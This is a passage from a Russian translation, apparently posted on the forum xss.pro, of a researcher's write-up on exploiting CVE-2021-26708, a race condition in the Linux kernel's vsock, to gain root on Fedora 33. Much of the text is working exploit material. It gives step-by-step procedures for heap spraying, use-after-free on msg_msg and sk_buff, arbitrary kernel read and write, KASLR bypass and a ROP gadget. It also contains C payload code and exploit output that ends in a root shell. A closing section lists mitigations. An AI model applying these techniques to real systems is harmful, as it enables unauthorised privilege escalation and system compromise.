RIP: 0010:virtio_transport_send_pkt_info+0x14d/0x180 [vmw_vsock_virtio_transport_common]
...
RSP: 0018:ffffc90000d07e10 EFLAGS: 00010246
RAX: 0000000000000000 RBX: ffff888103416ac0 RCX: ffff88811e845b80
RDX: 00000000ffffffff RSI: ffffc90000d07e58 RDI: ffff888103416ac0
RBP: 0000000000000000 R08: 00000000052008af R09: 0000000000000000
R10: 0000000000000126 R11: 0000000000000000 R12: 0000000000000008
R13: ffffc90000d07e58 R14: 0000000000000000 R15: ffff888103416ac0
FS: 00007f2f123d5640(0000) GS:ffff88817bd00000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007f81ffc2a000 CR3: 000000011db96004 CR4: 0000000000370ee0
Call Trace:
virtio_transport_notify_buffer_size+0x60/0x70 [vmw_vsock_virtio_transport_common]
vsock_update_buffer_size+0x5f/0x70 [vsock]
vsock_stream_setsockopt+0x128/0x270 [vsock]
...
Сеанс быстрой отладки с помощью gdb показал, что регистр RCX содержит адрес ядра освобожденного virtio_vsock_sock, а регистр RBX содержит адрес ядра vsock_sock. Отлично! В Fedora я могу открыть и проанализировать /dev/kmsg: если в журнале ядра появляется еще одно предупреждение, значит, эксплойт выиграл еще одну гонку и может извлечь соответствующие адреса ядра из регистров.
От произвольного выполнения к use-after-free
Мой план эксплуатации заключался в следующем
- Освободите объект по адресу ядра, просочившемуся в предупреждение ядра.
- Выполните распыление кучи, чтобы перезаписать этот объект контролируемыми данными.
- Выполните повышение привилегий с помощью поврежденного объекта.
Сначала я хотел использовать произвольный свободный адрес vsock_sock (из RBX), потому что это большая структура, содержащая много интересного.
Но это не сработало, так как он находится в выделенном кэше слэба, где я не могу выполнить распыление. Поэтому я не знаю, возможна ли эксплуатация vsock_sock после освобождения.
Другой вариант - освободить адрес от RCX. Я начал искать 64-байтовый объект ядра, который можно было бы использовать после освобождения (например, содержащий указатели ядра). Более того, эксплойт в пользовательском пространстве должен каким-то образом заставить ядро поместить этот объект на место освобожденного virtio_vsock_sock. Поиск объекта ядра, отвечающего этим требованиям, был огромной болью! Я даже использовал входной корпус своего фаззера и автоматизировал этот поиск.
Параллельно я изучал внутреннее устройство реализации сообщений System V, так как я уже использовал msg_msg для распыления кучи в этом эксплойте.
А потом я понял, как использовать use-after-free в msg_msg.
Достижение произвольного чтения
Реализация сообщения System V в ядре имеет максимальный размер DATALEN_MSG, который равен PAGE_SIZE минус sizeof (struct msg_msg)). Если вы отправляете сообщение большего размера, остаток сохраняется в списке сегментов сообщения. В структуре msg_msg есть структура msg_msgseg * next, которая указывает на первый сегмент, и size_t m_ts, в которой хранится весь размер.
Круто! Я могу поместить контролируемые значения в msg_msg.m_ts и msg_msg.next, когда я перезаписываю сообщение после выполнения произвольного выполнения для него:
Обратите внимание, что я не перезаписываю msg_msg.security, чтобы избежать нарушения проверок разрешений SELinux. Это возможно с помощью замечательной техники распыления кучи setxattr() и userfaultfd() Виталия Николенко. Совет: я размещаю полезную нагрузку распыления на границе области памяти, вызывающей сбой страницы, так что copy_from_user() зависает непосредственно перед перезаписью msg_msg.security. Смотрите код, подготавливающий полезную нагрузку:
C:
#define PAYLOAD_SZ 40
void adapt_xattr_vs_sysv_msg_spray(unsigned long kaddr)
{
struct msg_msg *msg_ptr;
xattr_addr = spray_data + PAGE_SIZE * 4 - PAYLOAD_SZ;
/* Don't touch the second part to avoid breaking page fault delivery */
memset(spray_data, 0xa5, PAGE_SIZE * 4);
printf("[+] adapt the msg_msg spraying payload:\n");
msg_ptr = (struct msg_msg *)xattr_addr;
msg_ptr->m_type = 0x1337;
msg_ptr->m_ts = ARB_READ_SZ;
msg_ptr->next = (struct msg_msgseg *)kaddr; /* set the segment ptr for arbitrary read */
printf("\tmsg_ptr %p\n\tm_type %lx at %p\n\tm_ts %zu at %p\n\tmsgseg next %p at %p\n",
msg_ptr,
msg_ptr->m_type, &(msg_ptr->m_type),
msg_ptr->m_ts, &(msg_ptr->m_ts),
msg_ptr->next, &(msg_ptr->next));
}
Но как нам прочитать данные ядра с помощью созданного msg_msg? Получение этого сообщения требует манипуляций с очередью сообщений System V, что нарушает работу ядра, поскольку указатель msg_msg.m_list недействителен (в моем случае 0xa5a5a5a5a5a5a5a5). Моя первая идея заключалась в установке этого указателя на адрес другого хорошего сообщения, но это привело к зависанию ядра, поскольку обход списка сообщений не может завершиться.
Чтение документации по системному вызову msgrcv() помогло найти лучшее решение: я использовал msgrcv() с флагом MSG_COPY:
MSG_COPY (since Linux 3.8)
Nondestructively fetch a copy of the message at the ordinal position in the queue
specified by msgtyp (messages are considered to be numbered starting at 0).
Этот флаг заставляет ядро копировать данные сообщения в пользовательское пространство, не удаляя их из очереди сообщений. Хорошо! MSG_COPY доступен, если ядро имеет CONFIG_CHECKPOINT_RESTORE = y, что верно для Fedora Server.
Произвольное чтение: пошаговая процедура
Вот пошаговая процедура, которую мой эксплойт использует для произвольного чтения памяти ядра:
1. Подготовка:
- Подсчитайте количество процессоров, доступных для гонок, используя sched_getaffinity() и CPU_COUNT() (для эксплойта требуется как минимум два).
- Откройте /dev/kmsg для парсинга.
- mmap() область памяти spray_data и настроить userfaultfd ()для последней части.
- Запустить отдельный поток pthread для обработки событий userfaultfd().
- Запустите 127 потоков pthread для распыления кучи setxattr() и userfaultfd() поверх msg_msg и повесьте их на pthread_barrier.
2. Получите адрес ядра msg_msg:
- Выиграйте гонку на виртуальном сокете, как описано ранее.
- Подождите 35 микросекунд в цикле занятости после второго connect().
- Сделайте вызов msgsnd() для отдельной очереди сообщений; объект msg_msg помещается в расположение virtio_vsock_sock после повреждения памяти.
- Проанализируйте журнал ядра и сохраните адрес ядра этого хорошего msg_msg из предупреждения ядра (регистр RCX).
- Также сохраните адрес ядра объекта vsock_sock из регистра RBX.
3. Выполнить произвольное освобождение для исправного msg_msg с использованием поврежденного msg_msg:
- Используйте четыре байта адреса исправного msg_msg для SO_VM_SOCKETS_BUFFER_SIZE; это значение будет использовано для повреждения памяти.
- Выиграйте гонку на виртуальной сокете.
- Вызвать msgsnd() сразу после второго connect(); msg_msg помещен в папку virtio_vsock_sock и поврежден.
- Теперь указатель безопасности поврежденного msg_msg хранит адрес исправного msg_msg (из шага 2).
- Если повреждение памяти msg_msg.security из потока setsockopt() происходит во время обработки msgsnd(), проверка разрешений SELinux не выполняется.
- В этом случае msgsnd() возвращает -1, и поврежденный msg_msg уничтожается; освобождение msg_msg.security освобождает хороший msg_msg.
4. Замените хороший msg_msg управляемой полезной нагрузкой:
- Сразу после сбоя msgsnd() эксплойт вызывает pthread_barrier_wait(), который пробуждает 127 распыляющих потоков pthread.
- Эти потоки pthread выполняют setxattr() с полезной нагрузкой, подготовленной с помощью adap_xattr_vs_sysv_msg_spray (vsock_kaddr), описанной ранее.
- Теперь хороший msg_msg перезаписывается контролируемыми данными, а указатель msg_msg.next на сегмент сообщения System V сохраняет адрес объекта vsock_sock.
Прочтите содержимое объекта ядра vsock_sock в пользовательское пространство, получив сообщение из очереди сообщений, в которой хранится перезаписанный msg_msg:
ret = msgrcv(msg_locations[0].msq_id, kmem, ARB_READ_SZ, 0,
IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
Эта часть эксплойта очень надежна.
Сортировка лута
Теперь мое "оружие" дало мне хорошую добычу: я получил содержимое объекта ядра vsock_sock. Мне потребовалось некоторое время, чтобы разобраться и найти хорошие цели для атак для дальнейших действий.
Вот что я нашел внутри:
- Множество указателей на объекты из выделенных кешей слэба, таких как PINGv6 и sock_inode_cache. Это не интересно.
- Указатель struct mem_cgroup *sk_memcg, находящийся в vsock_sock.sk по смещению 664. Структура mem_cgroup размещена в кэше slab kmalloc-4k. Хорошо!
- const struct cred *указатель владельца, находящийся в vsock_sock по смещению 840. Он хранит адрес учетных данных, которые я хочу перезаписать для повышения привилегий.
- указатель на функцию void (* sk_write_space) (struct sock *) в vsock_sock.sk со смещением 688. Он установлен на адрес функции ядра sock_def_write_space (). Это можно использовать для расчета смещения KASLR.
Вот как эксплойт извлекает эти указатели из дампа памяти:
C:
#define MSG_MSG_SZ 48
#define DATALEN_MSG (PAGE_SIZE - MSG_MSG_SZ)
#define SK_MEMCG_OFFSET 664
#define SK_MEMCG_RD_LOCATION (DATALEN_MSG + SK_MEMCG_OFFSET)
#define OWNER_CRED_OFFSET 840
#define OWNER_CRED_RD_LOCATION (DATALEN_MSG + OWNER_CRED_OFFSET)
#define SK_WRITE_SPACE_OFFSET 688
#define SK_WRITE_SPACE_RD_LOCATION (DATALEN_MSG + SK_WRITE_SPACE_OFFSET)
/*
* From Linux kernel 5.10.11-200.fc33.x86_64:
* function pointer for calculating KASLR secret
*/
#define SOCK_DEF_WRITE_SPACE 0xffffffff819851b0lu
unsigned long sk_memcg = 0;
unsigned long owner_cred = 0;
unsigned long sock_def_write_space = 0;
unsigned long kaslr_offset = 0;
/* ... */
sk_memcg = kmem[SK_MEMCG_RD_LOCATION / sizeof(uint64_t)];
printf("[+] Found sk_memcg %lx (offset %ld in the leaked kmem)\n",
sk_memcg, SK_MEMCG_RD_LOCATION);
owner_cred = kmem[OWNER_CRED_RD_LOCATION / sizeof(uint64_t)];
printf("[+] Found owner cred %lx (offset %ld in the leaked kmem)\n",
owner_cred, OWNER_CRED_RD_LOCATION);
sock_def_write_space = kmem[SK_WRITE_SPACE_RD_LOCATION / sizeof(uint64_t)];
printf("[+] Found sock_def_write_space %lx (offset %ld in the leaked kmem)\n",
sock_def_write_space, SK_WRITE_SPACE_RD_LOCATION);
kaslr_offset = sock_def_write_space - SOCK_DEF_WRITE_SPACE;
printf("[+] Calculated kaslr offset: %lx\n", kaslr_offset);
Структура cred размещается в выделенном кэше слэба cred_jar. Даже если я выполню произвольное освобождение от него, я не смогу перезаписать его контролируемыми данными (или, по крайней мере, я не знаю, как это сделать). Это очень плохо, так как это было бы лучшим решением.
Поэтому я сосредоточился на объекте mem_cgroup. Я попытался вызвать для этого kfree(), но ядро сразу запаниковало. Похоже, ядро довольно интенсивно использует этот объект. Но здесь я вспомнил свои старые добрые уловки повышения привилегий.
UAF в sk_buff
Когда я эксплуатировал CVE-2017-2636 в ядре Linux еще в 2017 году, я превратил double free для объекта kmalloc-8192 в use-after-free на sk_buff.Я решил повторить этот трюк.
Сетевой буфер в ядре Linux представлен структурой sk_buff. Этот объект имеет skb_shared_info с destructor_arg, который можно использовать для перехвата потока управления. Сетевые данные и skb_shared_info помещаются в тот же блок памяти ядра, на который указывает sk_buff.head. Следовательно, создание 2800-байтового сетевого пакета в пользовательском пространстве приведет к тому, что skb_shared_info будет размещен в кэше slab kmalloc-4k, где также находятся объекты mem_cgroup.
Итак, я реализовал следующую процедуру:
- Создайте один клиентский сокет и 32 серверных сокета с помощью сокета (AF_INET, SOCK_DGRAM, IPPROTO_UDP).
- Подготовьте буфер размером 2800 байт в пользовательском пространстве и выполните memset() с 0x42 для него.
- Отправьте этот буфер из клиентского сокета в каждый серверный сокет с помощью sendto (). Это создает объекты sk_buff в kmalloc-4k. Сделайте это на каждом доступном ЦП с помощью sched_setaffinity() (это важно, потому что кеш-блоки для каждого ЦП).
- Выполните процедуру произвольного чтения для vsock_sock (описанную ранее).
- Рассчитайте возможный адрес ядра sk_buff как sk_memcg плюс 4096 (следующий элемент в kmalloc-4k).
- Выполните произвольную процедуру чтения для этого возможного адреса sk_buff.
- Если 0x4242424242424242lu найден в месте расположения сетевых данных, то найден реальный sk_buff, переходите к шагу 8. В противном случае добавьте 4096 к возможному адресу sk_buff и переходите к шагу 6.
- Запустите 32 потока pthread для распыления кучи setxattr() и userfaultfd() поверх sk_buff и повесьте их на pthread_barrier.
- Произвольно освободите адрес ядра sk_buff.
- Вызовите pthread_barrier_wait(), который пробуждает 32 распыляющих потока pthread, которые выполняют setxattr(), перезаписывая skb_shared_info.
- Получите сетевые сообщений с помощью recv() для сокетов сервера.
Когда получен объект sk_buff с перезаписанным skb_shared_info, ядро выполняет обратный вызов destructor_arg, который выполняет произвольную запись в память ядра и повышает привилегии пользователя. Как? Продолжай читать!
Я должен отметить, что эта часть с use-after-free на sk_buff является основным источником нестабильности эксплойта.Было бы неплохо найти лучший объект ядра, который можно было бы разместить в кэше слэб kmalloc- * и использовать для превращения использования после освобождения в произвольное чтение/запись памяти ядра.
Произвольная запись с помощью skb_shared_info
Давайте посмотрим на код, который подготавливает полезную нагрузку для перезаписи объекта sk_buff:
C:
#define SKB_SIZE 4096
#define SKB_SHINFO_OFFSET 3776
#define MY_UINFO_OFFSET 256
#define SKBTX_DEV_ZEROCOPY (1 << 3)
void prepare_xattr_vs_skb_spray(void)
{
struct skb_shared_info *info = NULL;
xattr_addr = spray_data + PAGE_SIZE * 4 - SKB_SIZE + 4;
/* Don't touch the second part to avoid breaking page fault delivery */
memset(spray_data, 0x0, PAGE_SIZE * 4);
info = (struct skb_shared_info *)(xattr_addr + SKB_SHINFO_OFFSET);
info->tx_flags = SKBTX_DEV_ZEROCOPY;
info->destructor_arg = uaf_write_value + MY_UINFO_OFFSET;
uinfo_p = (struct ubuf_info *)(xattr_addr + MY_UINFO_OFFSET);
Структура skb_shared_info находится в обработанных данных точно по смещению SKB_SHINFO_OFFSET, которое составляет 3776 байт. Указатель skb_shared_info.destructor_arg хранит адрес ubuf_info. Я создаю поддельный ubuf_info в MY_UINFO_OFFSET в самом сетевом буфере. Это возможно, поскольку известен адрес ядра атакуемого sk_buff. Вот макет полезной нагрузки:
Теперь поговорим о обратном вызове destructor_arg:
C:
/*
* A single ROP gadget for arbitrary write:
* mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rdx + rcx*8], rsi ; ret
* Here rdi stores uinfo_p address, rcx is 0, rsi is 1
*/
uinfo_p->callback = ARBITRARY_WRITE_GADGET + kaslr_offset;
uinfo_p->desc = owner_cred + CRED_EUID_EGID_OFFSET; /* value for "qword ptr [rdi + 8]" */
uinfo_p->desc = uinfo_p->desc - 1; /* rsi value 1 should not get into euid */
Я изобрел очень странный примитив произвольной записи, который вы можете увидеть здесь. Я не смог найти гаджет разворота стека в vmlinuz-5.10.11-200.fc33.x86_64, который работал бы с моими ограничениями ... поэтому я выполнил произвольную запись одним выстрелом
Указатель функции обратного вызова хранит адрес одного гаджета ROP. Регистр RDI хранит первый аргумент функции обратного вызова, который является адресом самой ubuf_info. Итак, RDI + 8 указывает на ubuf_info.desc. Гаджет перемещает ubuf_info.desc в RDX. Теперь RDX содержит адрес эффективного идентификатора пользователя и идентификатора группы за вычетом одного байта. Этот байт важен: когда гаджет записывает qword с 1 из RSI в память, на которую указывает RDX, эффективные uid и gid перезаписываются нулями.
Затем такая же процедура повторяется для uid и gid. Привилегии повышаются до root. Игра окончена.
Вывод эксплойта, отображающий всю процедуру:
[a13x@localhost ~]$ ./vsock_pwn
=================================================
==== CVE-2021-26708 PoC exploit by a13xp0p0v ====
=================================================
[+] begin as: uid=1000, euid=1000
[+] we have 2 CPUs for racing
[+] getting ready...
[+] remove old files for ftok()
[+] spray_data at 0x7f0d9111d000
[+] userfaultfd #1 is configured: start 0x7f0d91121000, len 0x1000
[+] fault_handler for uffd 38 is ready
[+] stage I: collect good msg_msg locations
[+] go racing, show wins:
save msg_msg ffff9125c25a4d00 in msq 11 in slot 0
save msg_msg ffff9125c25a4640 in msq 12 in slot 1
save msg_msg ffff9125c25a4780 in msq 22 in slot 2
save msg_msg ffff9125c3668a40 in msq 78 in slot 3
[+] stage II: arbitrary free msg_msg using corrupted msg_msg
kaddr for arb free: ffff9125c25a4d00
kaddr for arb read: ffff9125c2035300
[+] adapt the msg_msg spraying payload:
msg_ptr 0x7f0d91120fd8
m_type 1337 at 0x7f0d91120fe8
m_ts 6096 at 0x7f0d91120ff0
msgseg next 0xffff9125c2035300 at 0x7f0d91120ff8
[+] go racing, show wins:
[+] stage III: arbitrary read vsock via good overwritten msg_msg (msq 11)
[+] msgrcv returned 6096 bytes
[+] Found sk_memcg ffff9125c42f9000 (offset 4712 in the leaked kmem)
[+] Found owner cred ffff9125c3fd6e40 (offset 4888 in the leaked kmem)
[+] Found sock_def_write_space ffffffffab9851b0 (offset 4736 in the leaked kmem)
[+] Calculated kaslr offset: 2a000000
[+] stage IV: search sprayed skb near sk_memcg...
[+] checking possible skb location: ffff9125c42fa000
[+] stage IV part I: repeat arbitrary free msg_msg using corrupted msg_msg
kaddr for arb free: ffff9125c25a4640
kaddr for arb read: ffff9125c42fa030
[+] adapt the msg_msg spraying payload:
msg_ptr 0x7f0d91120fd8
m_type 1337 at 0x7f0d91120fe8
m_ts 6096 at 0x7f0d91120ff0
msgseg next 0xffff9125c42fa030 at 0x7f0d91120ff8
[+] go racing, show wins: 0 0 20 15 42 11
[+] stage IV part II: arbitrary read skb via good overwritten msg_msg (msq 12)
[+] msgrcv returned 6096 bytes
[+] found a real skb
[+] stage V: try to do UAF on skb at ffff9125c42fa000
[+] skb payload:
start at 0x7f0d91120004
skb_shared_info at 0x7f0d91120ec4
tx_flags 0x8
destructor_arg 0xffff9125c42fa100
callback 0xffffffffab64f6d4
desc 0xffff9125c3fd6e53
[+] go racing, show wins: 15
[+] stage VI: repeat UAF on skb at ffff9125c42fa000
[+] go racing, show wins: 0 12 13 15 3 12 4 16 17 18 9 47 5 12 13 9 13 19 9 10 13 15 12 13 15 17 30
[+] finish as: uid=0, euid=0
[+] starting the root shell...
uid=0(root) gid=0(root) groups=0(root)
Возможные способы защиты от эксплойтов
Некоторые технологии могут предотвратить использование CVE-2021-26708 или, по крайней мере, усложнить его.
- Использование этой уязвимости невозможно с помощью карантина кучи ядра Linux, так как повреждение памяти происходит вскоре после состояния гонки. О моем прототипе SLAB_QUARANTINE читайте в отдельной статье.
- MODHARDEN из патча grsecurity предотвращает автозагрузку модуля ядра непривилегированными пользователями.
- Установка /proc/sys/vm/ unprivileged_userfaultfd на 0 заблокирует описанный метод сохранения полезной нагрузки в пространстве ядра. Этот переключатель ограничивает использование userfaultfd() только привилегированными пользователями (с возможностью SYS_CAP_PTRACE).
- Установка для kernel.dmesg_restrict sysctl значения 1 блокирует утечку информации через журнал ядра. Этот sysctl ограничивает возможность непривилегированных пользователей читать системный журнал ядра через dmesg.
- Целостность потока управления может помешать вызову моего устройства ROP. Вы можете увидеть эти технологии на карте защиты ядра Linux, которую я поддерживаю.
- Будем надеяться, что в будущих версиях ядра Linux будет поддержка расширения ARM Memory Tagging Extension (MTE) для смягчения последствий использования после освобождения на ARM.
- До меня доходили слухи под названием AUTOSLAB. Мы мало что знаем об этом. Предположительно, это заставляет Linux выделять объекты ядра в отдельные кэши слэба в зависимости от типа объекта. Это может испортить технику распыления кучи, которую я активно использую в этом эксплойте.
- Кис Кук отметил, что установка sysctl panic_on_warn в 1 нарушит атаку. Да, это превращает возможное повышение привилегий в отказ в обслуживании. Для записи, я НЕ рекомендую включать panic_on_warn или CONFIG_PANIC_ON_OOPS в производственных системах, потому что это позволяет легко атаковать отказ в обслуживании (предупреждение ядра/упс - не редкая ситуация). Дополнительные сведения см. в документации моего проекта kconfig-hardened-check.
Заключительные слова
Исследование, исправление CVE-2021-26708 и разработка эксплойта PoC были интересным и утомительным путешествием.
Мне удалось превратить состояние гонки с очень ограниченным повреждением памяти в произвольное чтение/запись памяти ядра и повышение привилегий на сервере Fedora 33 для x86_64, минуя SMEP и SMAP. В ходе этого исследования я создал несколько новых уловок по эксплуатации уязвимостей для ядра Linux.
Я считаю, что написание этой статьи важно для сообщества разработчиков ядра Linux как способ придумать новые идеи для улучшения безопасности ядра. Надеюсь, вам понравилось это читать!
И, конечно же, я благодарю Positive Technologies за предоставленную мне возможность поработать над этим исследованием.
Переведено специально для xss.pro
Автор перевода: yashechka
Источник:https://a13xp0p0v.github.io/2021/02/09/CVE-2021-26708.html
Последнее редактирование: